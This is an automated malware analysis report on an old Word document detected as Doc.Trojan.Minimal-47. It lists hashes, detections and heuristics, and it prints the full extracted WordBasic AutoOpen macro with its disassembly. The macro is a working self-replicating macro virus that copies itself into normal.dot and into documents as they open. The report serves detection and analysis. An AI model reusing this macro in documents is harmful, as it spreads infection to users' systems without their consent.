Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 754d2dd0b6095161…

MALICIOUS

Office (OLE)

29.5 KB Created: 1997-08-24 10:11:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 2d1d6c10df369000e04493794add8ebd SHA-1: c14624f451c23513cd7b67272917e3adebcde8b1 SHA-256: 754d2dd0b6095161ea6bb23f57ff09e9b9e6ca8c9130fe2b0fc64c32704fcaeb
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Microsoft Word document containing a WordBasic AutoOpen macro. This macro is designed to copy itself to the normal.dot template and then save the current document. This behavior is indicative of malware attempting to establish persistence or prepare for further execution stages. The presence of legacy WordBasic macros and the AutoOpen marker strongly suggest malicious intent.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-47 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-47
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2330 bytes
SHA-256: f60dc3ac8b53f210a15edc5485d3e9ae740d97698fe78caa006507184b014738
Detection
ClamAV: Doc.Trojan.Minimal-47
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"


Public Sub MAIN()
Dim N$
Rem AutoOpen Macro
Dim wiz As Object: Set wiz = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs wiz

On Error GoTo -1: On Error GoTo PoX
If wiz.Format = 0 Then
wiz.Format = 1
N$ = WordBasic.[FileName$]()
WordBasic.MacroCopy "normal.dot:AutoOpen", WordBasic.[FileName$]() + ":AutoOpen", 4
WordBasic.FileSaveAs wiz
End If

WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "normal.dot:AutoOpen", 4

PoX:
End Sub

' Processing file: /opt/analyzer/scan_staging/ff1f5168bfd54778966b55a83fbf2b58.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 1650 bytes
' Line #0:
' Line #1:
' Line #2:
' 	FuncDefn (Public Sub MAIN())
' Line #3:
' 	Dim 
' 	VarDefn N
' Line #4:
' 	Rem 0x000F " AutoOpen Macro"
' Line #5:
' 	Dim 
' 	VarDefn wiz (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	Set wiz 
' Line #6:
' 	Ld wiz 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #7:
' Line #8:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError PoX 
' Line #9:
' 	Ld wiz 
' 	MemLd Format$ 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #10:
' 	LitDI2 0x0001 
' 	Ld wiz 
' 	MemSt Format$ 
' Line #11:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St N$ 
' Line #12:
' 	LitStr 0x0013 "normal.dot:AutoOpen"
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	LitDI2 0x0004 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0003 
' Line #13:
' 	Ld wiz 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #14:
' 	EndIfBlock 
' Line #15:
' Line #16:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	LitStr 0x0013 "normal.dot:AutoOpen"
' 	LitDI2 0x0004 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0003 
' Line #17:
' Line #18:
' 	Label PoX 
' Line #19:
' 	EndSub